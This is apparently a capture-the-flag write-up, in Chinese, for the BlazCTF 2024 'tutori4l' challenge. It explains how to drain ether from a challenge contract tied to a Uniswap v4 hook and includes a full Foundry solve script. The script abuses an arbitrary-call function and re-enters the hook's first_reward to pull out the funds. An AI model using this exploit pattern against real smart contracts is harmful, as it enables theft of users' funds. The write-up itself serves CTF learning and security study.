## Title
https://github.com/fuzzland/blazctf-2024.git
tutori4l 题目:
Challenge的总量是2 ether,player手里有1 ether,challenge里有1 ether。现在就是需要把challenge合约的1 ether取出来。
## 思路
仔细留意不难发现,要把challenge合约的eth和ERC20转走只能调用arbitrary方法。我们可以通过arbitrary方法,把1 ether转到hook里。(调用hook的set_reward)即可然后再想办法从hook里把钱取走。
```solidity=
function arbitrary(address a, bytes calldata data) external payable {
....
if (a == address(this) || a == address(hook)) {
(bool success,) = a.call{value: address(this).balance}(data);
require(success, "call failed");
}
}
```
因为钱都在Challenge合约里,我们首先需要把Challenge的钱往池子里加流动性/Set Reward。然后再想办法掏出来。这里其实衍生出多种方法:
## 方法一
直接操控Manager,绕开hooks:
1. Player发起AddLiquidity,但是通过Arbitrar调用manager.settleFor(player)让Challenge做结算,
2. 最后plyer拿到Lp后Rug走即可
## 方法二
1. 先把ERC20通过Arbitrary从challenge取出来,然后往池子里加流动性(大概0.01E)就足够了
2. 通过Arbitrary的set_reward,把challenge的ETH打到池子里
3. 通过构造swapParams触发first_reward函数,这个时候会fallback回一个hookdata地址
4. 恶意构造一个hookdata地址接收地址,通过重入的方式,再次调用first reward,构造出一个big Amount,然后就能彻底把ETH卷走。
留下方法二的代码:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-ctf/CTFSolver.sol";
import {Challenge} from "../../src/challenge.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Hook} from "../../src/Hook.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
contract Attack {
address player;
address hook;
constructor(address _player, address _hook) {
player = _player;
hook = _hook;
}
receive() external payable {
console2.log("Attack receive: ", msg.value);
Hook(hook).first_reward(IPoolManager.SwapParams({
zeroForOne: true,
amountSpecified: -10001e18,
sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
}),
abi.encode(address(player))
);
}
}
contract Solve is CTFSolver {
address hook = 0x0895379Ab193141F30805CE48b9a1B75DadAC0C0;
address token = 0x75537828f2ce51be7289709686A69CbFDbB714F1;
address manager = 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512;
PoolModifyLiquidityTest lpRouter;
PoolSwapTest swapRouter;
// Run
// forge script script/shaneson/Solve.s.sol:Solve --rpc-url http://127.0.0.1:8545 --broadcast -vvvv
// Test:
// forge script script/shaneson/Solve.s.sol:Solve --fork-url http://127.0.0.1:8545 -vvvv
function solve(address challenge, address player) override internal {
payable(address(0)).call{value: player.balance - 1e18}("");
console2.log("challenge balance: ", IERC20(token).balanceOf(address(challenge)));
lpRouter = new PoolModifyLiquidityTest(IPoolManager(manager));
swapRouter = new PoolSwapTest(IPoolManager(manager));
Attack attack = new Attack(
player,
hook
);
PoolKey memory key = PoolKey({
currency0: Currency.wrap(address(0)),
currency1: Currency.wrap(token),
fee: 0,
tickSpacing: 10,
hooks: IHooks(hook)
});
// extract Token to player, and set reward into pool
Challenge(payable(challenge)).arbitrary(token, abi.encodeWithSelector(IERC20.transfer.selector, player, 1000e18));
Challenge(payable(challenge)).arbitrary{value: 9e17}(hook, abi.encodeWithSelector(Hook.set_reward.selector));
IERC20(token).approve(address(lpRouter), type(uint256).max);
lpRouter.modifyLiquidity{value: 1e5}(key, IPoolManager.ModifyLiquidityParams(-600, 600, 1e5, 0), new bytes(0));
// 当 zeroForOne = true 且 amountSpecified < 0 时,表示你正在卖出 token0 并买入 token1。
// 没法直接传入很大的一个amountSpecified值,因为没有这么多以太坊
swapRouter.swap{value: 3046}(
key,
IPoolManager.SwapParams({
zeroForOne: true,
amountSpecified: -11e17,
sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
}),
PoolSwapTest.TestSettings({
takeClaims: false,
settleUsingBurn: false
}),
abi.encode(address(attack))
);
console2.log("player balance: ", address(player).balance);
require(Challenge(payable(challenge)).isSolved(), "Failed");
}
}```